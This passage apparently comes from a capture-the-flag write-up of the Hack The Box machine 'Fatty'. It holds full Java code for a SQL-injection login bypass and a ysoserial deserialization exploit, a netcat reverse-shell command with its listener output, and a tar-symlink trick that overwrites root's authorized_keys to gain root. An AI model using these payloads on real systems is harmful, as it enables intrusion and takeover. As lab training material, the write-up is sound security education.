htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> SQLi { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\", \"fakepassword\", <strong>false<\/strong>); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.uname(); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After execution, we obtain the following result:[+] Login succesful![+] Current role: <strong>admin<\/strong>[+] Server response is: Linux 6dfe00973277 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3 (2019-09-02) x86_64 Linux<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This output shows that we have now administrative access and should be able to use all functionality that is exposed by the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"final-punch\">3.10 \u2013 The final Punch<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>After unlocking all functionality of the client, we take a look ath the juicy functionalities inside the&nbsp;<em>ServerStatus<\/em>&nbsp;drop down:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>uname()<\/li><li>users()<\/li><li>netstat()<\/li><li>iptables()<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>However, all these function take zero arguments and we have therefore no possibility to inject something malicious into them. We can also take a look at the source code of the application server and find that all these methods just invoke some static commands. E.g. the&nbsp;<code>invo.uname()<\/code>&nbsp;function does something like this:Process p = Runtime.getRuntime().exec(\"uname -a\");<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So it seems that these methods do not provide any attack vectors. But are there other methods that only an administrator is able to call? If you remember our initial enumeration on the graphical user interface, there was a&nbsp;<code>changePassword<\/code>&nbsp;function that was disabled for the user&nbsp;<em>qtc<\/em>. While a method like&nbsp;<code>changePassword<\/code>&nbsp;does not sound like something that could lead to&nbsp;<em>remote code execution<\/em>, in the case of&nbsp;<em>Fatty<\/em>, the implementation is pretty dangerous. Already the source code of&nbsp;<em>fatty-client.jar<\/em>&nbsp;is sufficient to see that:<strong>public<\/strong><strong>String<\/strong> changePW(<strong>String<\/strong> username, <strong>String<\/strong> newPassword) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object() {}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + user.getUsername() + \"'.\"); <strong>if<\/strong>( AccessCheck.checkAccess(methodName, user) ) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; } User user = new User(username, newPassword); ByteArrayOutputStream bOut = new ByteArrayOutputStream(); ObjectOutputStream oOut; <strong>try<\/strong> { oOut = new ObjectOutputStream(bOut); oOut.writeObject(user); } <strong>catch<\/strong> (IOException e) { e.printStackTrace(); <strong>return<\/strong> \"Failure while serializing user object\"; } <strong>byte<\/strong>[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray()); action = new ActionMessage(<strong>this<\/strong>.sessionID, \"changePW\"); action.addArgument(new <strong>String<\/strong>(serializedUser64)); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Error: Your action caused an error on the application server!\"; } <strong>return<\/strong><strong>this<\/strong>.response.getContentAsString();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>changePW<\/code>&nbsp;method starts like expected, it takes a&nbsp;<em>username<\/em>, a new&nbsp;<em>password&nbsp;<\/em>and performs the already bypassed access control checks. But then something crazy happens. Instead of sending the&nbsp;<em>username&nbsp;<\/em>and&nbsp;<em>password&nbsp;<\/em>parameters as&nbsp;<em>Strings&nbsp;<\/em>to the server, the method constructs a new&nbsp;<code>User<\/code>object and&nbsp;<em>serializes&nbsp;<\/em>it. The&nbsp;<em>serialized&nbsp;<\/em><code>User<\/code>&nbsp;object is when transformed to&nbsp;<em>base64&nbsp;<\/em>and sent to the application server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depending on the implementation on the server side, the&nbsp;<code>changePW<\/code>&nbsp;function could be vulnerable to<em>&nbsp;Java deserialization attacks<\/em>&nbsp;and indeed, we find that the application server is just deserializing the transmitted object without any security checks:<strong>String<\/strong> b64User = args.get(0);<strong>byte<\/strong>[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);ObjectInputStream oIn;<strong>try<\/strong> { oIn = new ObjectInputStream(bIn); User newUser = (User)oIn.readObject();} <strong>catch<\/strong> (Exception e) { e.printStackTrace(); response += \"Error: Failure while recovering the User object.\"; <strong>return<\/strong> response;}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This should allow us to exploit the&nbsp;<code>changePW<\/code>&nbsp;function in order to get&nbsp;<em>remote code execution<\/em>. The first thing we need to do is to patch the&nbsp;<code>changePW<\/code>function in our local version of the&nbsp;<code>Invoker<\/code>&nbsp;class. To keep the patch simple and flexible, we just expect the&nbsp;<em>base64&nbsp;<\/em>encoded payload as input, and transmit it directly to the server:<strong>public<\/strong><strong>String<\/strong> changePWExploit(<strong>String<\/strong> payload) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { action = new ActionMessage(<strong>this<\/strong>.sessionID, \"changePW\"); action.addArgument(new <strong>String<\/strong>(payload)); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Server response contained an error. Your shell is probably on the way :D\"; } <strong>return<\/strong><strong>this<\/strong>.response.getContentAsString();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again we need to use the&nbsp;<em>SQLi<\/em>&nbsp;payload inside our client, since calling the&nbsp;<code>changePW<\/code>&nbsp;method requires administrative privileges. Furthermore, we have to change the&nbsp;<code>Invoker<\/code>&nbsp;function to&nbsp;<code>invo.changePWExploit(\"&lt;payload&gt;\")<\/code>. In the following listing, I just wrote down the full source code of the final exploit:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> Serialize { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\", \"fakepassword\", <strong>false<\/strong>); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); <strong>String<\/strong> payload = \"ysoserial generated payload\"; Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.changePWExploit(payload); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last thing we are missing is the actual payload, which can of course easily be generated by using&nbsp;<a href=\"https:\/\/github.com\/frohoff\/ysoserial\" target=\"_blank\" rel=\"noreferrer noopener\">ysoserial<\/a>. Since the whole&nbsp;<em>Fatty<\/em>&nbsp;project is using&nbsp;<em>Spring<\/em>, you may be tempted to use the&nbsp;<em>Spring gadget-chains<\/em>&nbsp;of&nbsp;<em>ysoserial<\/em>, but the version of&nbsp;<em>Spring&nbsp;<\/em>that is used for&nbsp;<em>Fatty<\/em>&nbsp;is no longer vulnerable to them. However, by unzipping&nbsp;<em>fatty-server.jar<\/em>, you can identify that it contains packages that start with&nbsp;<code>org.apache.commons.collections<\/code>&nbsp;and this means that one of&nbsp;<em>ysoserials<\/em>&nbsp;<em>CommonsCollections gadget chains<\/em>&nbsp;probably works.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this example, we will use the gadget chain&nbsp;<em>CommonsCollections5<\/em>&nbsp;and generate our payload like this:pentester@kali:\/opt\/ysoserial\/target$ .\/ysoserial CommonsCollections5 'nc 10.10.14.17 4444 -e \/bin\/sh' | base64 -w0rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While the usage of&nbsp;<em>ysoserial<\/em>&nbsp;should be straight forward, there are some pitfalls when choosing the correct payload:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><em>fatty-server.jar<\/em>&nbsp;is running as user&nbsp;<em>qtc<\/em>, who has no root privileges on the server. On&nbsp;<em>alpine docker containers<\/em>&nbsp;(or at least at the one that is being used),&nbsp;<code>ping<\/code>&nbsp;is only allowed for the root user and&nbsp;<em>qtc&nbsp;<\/em>can therefore not use&nbsp;<code>ping<\/code>. This could lead to false negatives when testing your serialized payload.<\/li><li>The alpine docker container does not contain a&nbsp;<code>bash<\/code>&nbsp;executable. Therefore, it is important to choose&nbsp;<code>\/bin\/sh<\/code>&nbsp;for the reverse shell payload.<\/li><li>The&nbsp;<code>nc<\/code>&nbsp;version on the alpine container requires&nbsp;<code>-e &lt;PROG&gt;<\/code>&nbsp;to be the last argument. Otherwise, the&nbsp;<code>nc<\/code>&nbsp;command will fail.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>But when the payload is generated as above, everything should work fine and you should finally obtain a reverse shell on the&nbsp;<em>fatty&nbsp;<\/em>application server:pentester@kali:~$ nc -vlp 4444Ncat: Version 7.80 ( https:\/\/nmap.org\/ncat )Ncat: Listening <strong>on<\/strong> :::4444Ncat: Listening <strong>on<\/strong> 0.0.0.0:4444Ncat: Connection from 10.10.10.174.Ncat: Connection from 10.10.10.174:44875.iduid=1000(qtc) gid=1000(qtc) groups=1000(qtc)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned, the application server is hosted inside of a docker container, but already here we can find a home directory for&nbsp;<em>qtc&nbsp;<\/em>containing the user flag:ls -l \/home\/qtctotal 4---------- 1 qtc qtc 33 Sep 24 04:15 <strong>user<\/strong>.txt<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice, that the&nbsp;<code>user.txt<\/code>&nbsp;file has its permissions set to&nbsp;<code>000<\/code>. This is because I was paranoid that someone could break the filters on the&nbsp;<em>path<\/em><em>traversal&nbsp;<\/em>vulnerabilities and might be able to access arbitrary files. By setting permissions to&nbsp;<code>000<\/code>, the file is not directly accessible, but once you got&nbsp;<em>RCE&nbsp;<\/em>you can use&nbsp;<code>chmod<\/code>&nbsp;to adjust the permissions and read the flag:chmod 400 \/home\/qtc\/<strong>user<\/strong>.txtcat \/home\/qtc\/<strong>user<\/strong>.txt7fab[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"escalating-to-root\">4.0 \u2013 Escalating to root<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>By abusing the vulnerabilities contained inside the<em>&nbsp;fat client<\/em>&nbsp;we have managed to obtain a reverse shell and have now access to the docker container as the user&nbsp;<em>qtc<\/em>. Our next step is to get access to the underlying docker host, ideally already as the root user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"odd-services\">4.1 \u2013 Odd Services<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Before starting to enumerate, we should try to obtain a better shell. Unfortunately, neither&nbsp;<em>python2&nbsp;<\/em>nor&nbsp;<em>python3&nbsp;<\/em>are installed on the container, which prevents us form using&nbsp;<em>Pythons&nbsp;<\/em><code>pty<\/code>&nbsp;module. Also&nbsp;<em>SSH&nbsp;<\/em>is no solution, since the&nbsp;<em>SSH<\/em>&nbsp;server exposed by&nbsp;<em>Fatty&nbsp;<\/em>is not the same that is running on the container. It seems like we have to be satisfied with&nbsp;<code>ash -i<\/code>, which at least displays us an ordinary command prompt. Additionally, we can use the following redirection of&nbsp;<em>stderr:<\/em><code>2&gt;&amp;1<\/code>. Otherwise we will not be able to see the standard error of ordinary commands.ash -i 2&gt;&amp;1164d6a53be73:\/home\/qtc$<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After identifying the&nbsp;<em>path traversal<\/em>&nbsp;vulnerability inside the&nbsp;<em>fatty-client.jar<\/em>, we already discovered that the docker container starts&nbsp;<em>crond<\/em>&nbsp;and&nbsp;<em>sshd<\/em>&nbsp;manually. It seems like these services are required for some reason and we investigate why this is the case. So as a first step, let\u2019s try to check our&nbsp;<em>crontab&nbsp;<\/em>to see if there are some jobs configured:164d6a53be73:\/home\/qtc$ crontab -lcrontab: must be suid to work properly164d6a53be73:\/home\/qtc$ ls -l \/etc\/crontabstotal 8-rw------- 1 root root 64 Oct 4 08:34 qtc-rw------- 1 root root 283 Jan 23 2019 root<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first error message shows that&nbsp;<em>crontab&nbsp;<\/em>is not installed as&nbsp;<em>suid<\/em>. This is because&nbsp;<em>crontab&nbsp;<\/em>is implemented using&nbsp;<em>BusyBox<\/em>&nbsp;on the container, and&nbsp;<em>BusyBox<\/em>has no&nbsp;<em>suid&nbsp;<\/em>bit set. As you can see from the second output, the&nbsp;<em>crontabs&nbsp;<\/em>are only accessible by root and therefore we have no option for displaying them. Luckily for us,&nbsp;<em>qtc&nbsp;<\/em>has created an&nbsp;<code>\/etc\/crontab.back<\/code>&nbsp;folder as a backup. This folder is owned by&nbsp;<em>qtc&nbsp;<\/em>and we can read the contained&nbsp;<em>crontabs<\/em>:164d6a53be73:\/etc\/crontabs.back$ cat *0 * * * * \/bin\/tar -cf \/opt\/fatty\/tar\/logs.tar \/opt\/fatty\/logs\/# do daily\/weekly\/monthly maintenance# min hour day month weekday command*\/15 * * * * run-parts \/etc\/periodic\/15min0 * * * * run-parts \/etc\/periodic\/hourly0 2 * * * run-parts \/etc\/periodic\/daily0 3 * * 6 run-parts \/etc\/periodic\/weekly0 5 1 * * run-parts \/etc\/periodic\/monthly<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While the root user has no custom&nbsp;<em>cron&nbsp;<\/em>jobs defined, we can see that the user&nbsp;<em>qtc&nbsp;<\/em>creates a new&nbsp;<em>.tar<\/em>&nbsp;file inside of&nbsp;<code>\/opt\/fatty\/tar<\/code>&nbsp;every full hour. The contents of the&nbsp;<em>.tar<\/em>&nbsp;file are the log files generated by the&nbsp;<em>fatty-server&nbsp;<\/em>application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the cronjob runs as&nbsp;<em>qtc&nbsp;<\/em>and the log files of the application server are already readable from our current position, it seems that we cannot profit from this&nbsp;<em>cronjob&nbsp;<\/em>directly. But there is the possibility that the cron backup folder contains outdated&nbsp;<em>crontabs&nbsp;<\/em>and we should definitely give&nbsp;<a href=\"https:\/\/github.com\/DominicBreuker\/pspy\" target=\"_blank\" rel=\"noreferrer noopener\">pspy<\/a>&nbsp;a try to see what else is running regularly on the container. We can use&nbsp;<code>wget<\/code>, which is installed on the container, to upload&nbsp;<em>pspy&nbsp;<\/em>and after execution we get the following result:164d6a53be73:\/tmp$ wget 10.10.14.17:8000\/pspy64<strong>Connecting<\/strong> to 10.10.14.17:8000 10.10.14.17:8000)pspy64 100% |********************************| 4364k 0:00:00 ETA164d6a53be73:\/tmp$ chmod +x pspy64164d6a53be73:\/tmp$ .\/pspy64Config: Printing events (<strong>colored<\/strong>=<strong>true<\/strong>): processes=<strong>true<\/strong> | file-system-events=<strong>false<\/strong> ||| Scannning for processes every 100ms and <strong>on<\/strong> inotify events ||| Watching directories: [\/usr \/tmp \/etc \/home \/var \/opt] (recursive) | [] (non-recursive)<strong>Draining<\/strong> file system events due to startup...done2019\/10\/04 09:11:46 CMD: UID=0 PID=7 | crond -b 2019\/10\/04 09:11:46 CMD: UID=1000 PID=238 | .\/pspy64 2019\/10\/04 09:11:46 CMD: UID=1000 PID=183 | ash -i 2019\/10\/04 09:11:46 CMD: UID=1000 PID=152 | \/bin\/sh 2019\/10\/04 09:11:46 CMD: UID=0 PID=11 | \/usr\/sbin\/sshd 2019\/10\/04 09:11:46 CMD: UID=1000 PID=10 | java -jar \/opt\/fatty\/fatty-server.jar 2019\/10\/04 09:11:46 CMD: UID=0 PID=1 | \/bin\/sh .\/start.sh 2019\/10\/04 09:12:02 CMD: UID=0 PID=245 | sshd: [accepted]2019\/10\/04 09:12:02 CMD: UID=22 PID=246 | sshd: [net] 2019\/10\/04 09:12:02 CMD: UID=1000 PID=247 | sshd: qtc 2019\/10\/04 09:12:02 CMD: UID=1000 PID=248 | ash -c scp -f \/opt\/fatty\/tar\/logs.tar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems like a remote user is connecting to the&nbsp;<em>ssh server&nbsp;<\/em>and uses&nbsp;<em>scp<\/em>&nbsp;to copy the&nbsp;<em>logs.tar<\/em>&nbsp;file that is generated by our&nbsp;<em>cronjob<\/em>. If you run&nbsp;<em>pspy<\/em>&nbsp;over a longer period of time, you will notice that this event occurs each minute. So it seems like some other host has a&nbsp;<em>cronjob&nbsp;<\/em>configured that pulls the logs of the application server periodically.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>It may feels like we are still missing some information, but there is not much more to enumerate and as it turns out, the observations from above are sufficient for breaking out of the container.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A long time ago there was an interesting&nbsp;<a href=\"https:\/\/github.com\/BuddhaLabs\/PacketStorm-Exploits\/blob\/master\/0101-exploits\/tar-symlink.txt\" target=\"_blank\" rel=\"noreferrer noopener\">tar exploit<\/a>&nbsp;and the cause of it is actually pretty simple:&nbsp;<em>.tar<\/em>&nbsp;archives can contain files with the same filename multiple times. You can easily verify this by creating a&nbsp;<em>.tar<\/em>&nbsp;archive and adding the same file multiple times:pentester@kali:\/etc$ tar -cvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -tvf \/tmp\/test.tar -rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd-rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd-rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While this behavior is odd, it is no problem when all the items with identical filenames are just regular files. In this case, when extracting the archive, the files will just overwrite each other and the result is the last added file. But what happens if not all files are just regular files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, this is what the exploit abuses. A&nbsp;<em>.tar<\/em>&nbsp;archive can also contain&nbsp;<em>symlinks&nbsp;<\/em>that point to arbitrary resources on the system where they are extracted. By first packing a&nbsp;<em>symlink&nbsp;<\/em>to a sensitive file like&nbsp;<code>authorized_keys<\/code>&nbsp;and then a&nbsp;<em>public key<\/em>&nbsp;file with exactly the same filename into a&nbsp;<em>.tar<\/em>&nbsp;archive, we could easily obtain code execution on the targeted system. The following listing shows an example of this situation:pentester@kali:\/tmp$ ln -s \/root\/.ssh\/authorized_keys exploit.pubpentester@kali:\/tmp$ tar -cvf exploit.tar exploit.pubexploit.pubpentester@kali:\/tmp$ rm exploit.pub &amp;&amp; mv key.pub exploit.pubpentester@kali:\/tmp$ tar -rvf exploit.tar exploit.pubexploit.pubpentester@kali:\/tmp$ tar -tvf exploit.tarlrwxrwxrwx pentester\/pentester 0 2019-10-04 11:30 exploit.pub -&gt; \/root\/.ssh\/authorized_keys-rw-r--r-- pentester\/pentester 568 2019-10-04 11:31 exploit.pub<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this archive is extracted by a vulnerable&nbsp;<em>tar&nbsp;<\/em>version, the symlink is extracted first and then overwritten by the public key file. The result is that the public key file will be written to the&nbsp;<code>.ssh<\/code>&nbsp;folder of the root account. However, recent versions of&nbsp;<em>tar<\/em>&nbsp;are no longer vulnerable against this kind of attack, but with a little bit of creativity, there is something different one can do with&nbsp;<em>symlinks<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As it turns out, a&nbsp;<em>.tar<\/em>&nbsp;file can also contain files that have exactly the same name as the corresponding&nbsp;<em>.tar<\/em>&nbsp;archive. When extracting an archive with the same name as one of the contained files, the extracted file will overwrite the&nbsp;<em>.tar<\/em>&nbsp;archive. Okay that is odd, but how could it be exploited?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider that you have a situation where someone is regularly executing the following pattern:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Download a&nbsp;<em>.tar<\/em>&nbsp;file to his local disk.<\/li><li>Extracting the&nbsp;<em>.tar<\/em>&nbsp;file inside the same directory it was downloaded.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>If the&nbsp;<em>.tar<\/em>&nbsp;file contains a symlink that has the same name as the archive itself, it will replace the&nbsp;<em>.tar<\/em>&nbsp;archive with a symlink to an arbitrary destination on extraction. Once the next download occurs, the newly downloaded&nbsp;<em>.tar<\/em>&nbsp;file will overwrite the old one, but when the old&nbsp;<em>.tar<\/em>&nbsp;file was replaced by a&nbsp;<em>symlink<\/em>, the new downloaded file will be written to the destination the symlink is pointing to. This allows us to write arbitrary files with the permissions of the extracting user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"root-shell\">4.3 \u2013 Obtaining the root Shell<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>It should be clear that the above described situation could apply for us. On our docker container the user&nbsp;<em>qtc&nbsp;<\/em>creates a&nbsp;<em>.tar<\/em>&nbsp;archive regularly inside&nbsp;<code>\/opt\/fatty\/tar<\/code>, which is pulled by some other user using&nbsp;<em>scp<\/em>. It is likely that the log pulling user will extract the contents of the&nbsp;<em>.tar<\/em>&nbsp;archive at some point of time and if we are lucky, he will do it in the same directory where the new incoming&nbsp;<em>.tar<\/em>&nbsp;file will be stored. In this case, we could use the above mentioned technique to write arbitrary files.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since we already got the user flag, we assume that this attack vector will give us direct root access to the&nbsp;<em>fatty&nbsp;<\/em>application server. Therefore, we go&nbsp;<em>all in<\/em>&nbsp;and try directly to overwrite the&nbsp;<em>authorized_keys<\/em>&nbsp;file of the root user account. Our attack plan will look like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Create a&nbsp;<em>logs.tar<\/em>&nbsp;file that contains a symlink with name&nbsp;<em>logs.tar<\/em>&nbsp;pointing to&nbsp;<code>\/root\/.ssh\/authorized_keys<\/code>.<\/li><li>After waiting one minute, overwrite&nbsp;<em>logs.tar<\/em>&nbsp;with a&nbsp;<em>public key<\/em>&nbsp;that was generated by us.<\/li><li>After another minute, we should be able to login as the&nbsp;<em>root&nbsp;<\/em>user using&nbsp;<em>ssh<\/em>.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Here are the corresponding commands:164d6a53be73:\/home\/qtc$ mkdir exploit164d6a53be73:\/home\/qtc$ ln -s \/root\/.ssh\/authorized_keys exploit\/logs.tar164d6a53be73:\/home\/qtc$ tar -cvf logs.tar -C .\/exploit logs.tarlogs.tar164d6a53be73:\/home\/qtc$ tar -tvf logs.tarlrwxrwxrwx qtc\/qtc 0 2019-10-04 09:59:28 logs.tar -&gt; \/root\/.ssh\/authorized_keys164d6a53be73:\/home\/qtc$ cp logs.tar \/opt\/fatty\/tar\/logs.tar164d6a53be73:\/home\/qtc$ sleep 60164d6a53be73:\/home\/qtc$ ssh-keygen -f key<strong>Generating<\/strong> public\/private rsa key pair.<strong>Enter<\/strong> passphrase (empty for no passphrase):<strong>Enter<\/strong> same passphrase again:<strong>Your<\/strong> identification has been saved in key.<strong>Your<\/strong> public key has been saved in key.pub.<strong>The<\/strong> key fingerprint is:SHA256:ZFaBEexkmBlaZh2MqvliJO1TRxjR+ggWI77hel1+L\/Q qtc@164d6a53be73<strong>The<\/strong> key's randomart image is:+---[RSA 2048]----+| .o=X+=o. ||. o .=* B. ||.. o.= ++ || oo + .+. ||.oo+ + S ||.o= o + . ||.+ + + . . ||. * o . o E || o o . o. |+----[SHA256]-----+164d6a53be73:\/home\/qtc$ cp key.pub \/opt\/fatty\/tar\/logs.tar164d6a53be73:\/home\/qtc$ sleep 60164d6a53be73:\/home\/qtc$ ssh -o StrictHostKeyChecking=no root@172.28.0.1 -i key<strong>Linux<\/strong> fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64<strong>The<\/strong> programs included with the Debian GNU\/Linux system are free software;the exact distribution terms for each program are described in theindividual files in \/usr\/share\/doc\/*\/copyright.<strong>Debian<\/strong> GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.mesg: ttyname failed: Inappropriate ioctl for deviceiduid=0(root) gid=0(root) groups=0(root)cat root.txtee98[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Worked perfectly! If you are confused about the IP address&nbsp;<em>172.28.0.1<\/em>, this is just the IP address of the docker bridge our container is plugged in. The docker bridge is just a bridge device that is located in the network namespace of the docker host and the IP address of the bridge gives you access to the docker host itself. To identify the IP address of the bridge device, you can just use a command&nbsp;<code>ip a<\/code>&nbsp;on the container:164d6a53be73:\/home\/qtc$ ip a1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN qlen 1 link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1\/8 scope host lo valid_lft forever preferred_lft forever10: eth0@if11: &lt;BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN&gt; mtu 1500 qdisc noqueue state UP link\/ether 02:42:ac:1c:00:04 brd ff:ff:ff:ff:ff:ff inet 172.28.0.4\/16 brd 172.28.255.255 scope global eth0 valid_lft forever preferred_lft forever<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the most (all?) cases, the docker bridge will have the same IP address as the container, except that it ends with a one.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Furthermore, we had to use 